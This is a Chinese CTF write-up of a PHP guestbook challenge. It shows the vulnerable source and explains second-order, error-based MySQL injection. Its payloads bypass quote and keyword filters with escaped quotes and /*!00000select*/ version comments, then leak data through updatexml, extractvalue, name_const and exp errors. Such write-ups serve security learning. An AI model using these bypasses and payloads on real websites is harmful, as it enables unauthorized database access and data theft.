本篇文章源于一道三个白帽的题目
 
该题源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php include 'config.php'; foreach(array('_GET','_POST','_COOKIE') as $key){     foreach($$key as $k => $v){         if(is_array($v)){             errorBox("hello,sangebaimao!");         }else{             $k[0] !='_'?$$k = addslashes($v):$$k = "";         }     } } function filter($str){     $rstr = "";     for($i=0;$i<strlen($str);$i++){         if(ord($str[$i])>31 && ord($str[$i])<127){             $rstr = $rstr.$str[$i];         }     }     $rstr = str_replace('\'','',$rstr);     return $rstr; } if(!empty($message)){     if(preg_match("/\b(select|insert|update|delete)\b/i",$message)){         die("hello,sangebaimao!");     }     if(filter($message) !== $message){         die("hello,sangebaimao!");     }     $sql="insert guestbook(`message`) value('$message');";     mysql_query($sql);     $sql = "select * from guestbook order by id limit 0,5;";     $result = mysql_query($sql);     if($result){         while($row = mysql_fetch_array($result)){             $id = $row['id'];             $message = $row['message'];             echo "|$id|=>|$message|<br/>";         }     }     $message = stripcslashes($message);     $sql = "delete from guestbook where id=$id or message ='$message';";     if(!mysql_query($sql)){         print(mysql_error());         $sql = "delete from guestbook where id=$id";         mysql_query($sql);     }; } ?> 
 
这题读完一遍源码之后,就知道需要bypass单引号和preg_match("/\b(select|insert|update|delete)\b/i",$message), 然后是二次注入+报错注入.
bypass单引号是借助stripcslashes($message);该函数,所以使用?message=aaa\x27 来bypass单引号,这不是本篇重点,就不多说了。
然后使用/*!00000select*/ 来bypass preg_match("/\b(select|insert|update|delete)\b/i",$message)
/*!*/ 只在mysql中有用,在别的数据库中这只是注释,但是在mysql,/*!select 1*/可以成功执行,在语句前可以加上5位数字,代表版本号,表示只有在大于该版本的mysql中不作为注释 eg:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 mysql> select version(); +-----------+ | version() | +-----------+ | 5.7.9-log | +-----------+ 1 row in set (0.00 sec) mysql> select /*!50709version()*/; +-----------+ | version() | +-----------+ | 5.7.9-log | +-----------+ 1 row in set (0.00 sec) mysql> select /*!50710version()*/; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 
 
好了,现在可以进行注入了,因为有一句print(mysql_error());,所以可以报错注入了:报错注入是从写bug中发现的么?
使用updatexml payload:
1 ?message=aaa\x27 and updatexml(0,concat(0x27,(/*!00000select version()*/)),0)%23 
 
UpdateXML(xml_target, xpath_expr, new_xml) updatexml函数有三个参数,作用是xml替换,把xml_target中被xpath_expr匹配到的部分使用new_xml替换
这个报错注入的原理是利用updatexml的参数错误,首先不能有语法错误,要不然注入的语句根本无法执行,语法正确后,先去执行concat(0x27,(/*!00000select version()*/)),得到'5.5.42-log,作为第二个参数传入updatexml函数中,而updatexml第二个参数为xml的匹配表达式,单引号为非法字符,因此报错,输出错误内容'5.5.42-log, 因此得到了你想要得到的数据
payload:
1 ?message=aaa\x27 and ExtractValue(0,concat(0x27,(/*!00000select version()*/)))%23 
 
这个同理上面的,不过区别是ExtractValue(xml_frag, xpath_expr) 得到xml_frag中被xpath_expr匹配到的值
不过extractvalue和updatexml有个缺陷是,报错数据最大长度为32
使用name_const payload:
1 ?message=aaa\x27%20and%20(/*!00000SELECT*/ * FROM(/*!00000SELECT*/(name_const(version(),1)),name_const(version(),1))a)%23 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 mysql> select name_const('a','b'); +------+ | a    | +------+ | b    | +------+ 1 row in set (0.00 sec) mysql> /*!00000SELECT*/(name_const(version(),1)),name_const(version(),1); +-----------+-----------+ | 5.7.9-log | 5.7.9-log | +-----------+-----------+ |         1 |         1 | +-----------+-----------+ 1 row in set (0.00 sec) 
 
本题利用的是表的字段名不允许重复,报错长度没有限制
利用exp报错 payload:
1 ?message=aaa\x27 and (/*!00000select exp(~(/*!00000select*/ * from (/*!00000select*/ version())a)))%23 
 
利用double型溢出,可参考http://drops.wooyun.org/tips/8166 
利用floor报错 可参考http://www.jinglingshu.org/?p=4507 , 对于floor 报错注入我理解的不是特别透彻
利用join报错 join 可用来报列名,同样可参考上面那个链接,本题不是一个很好的join报错案例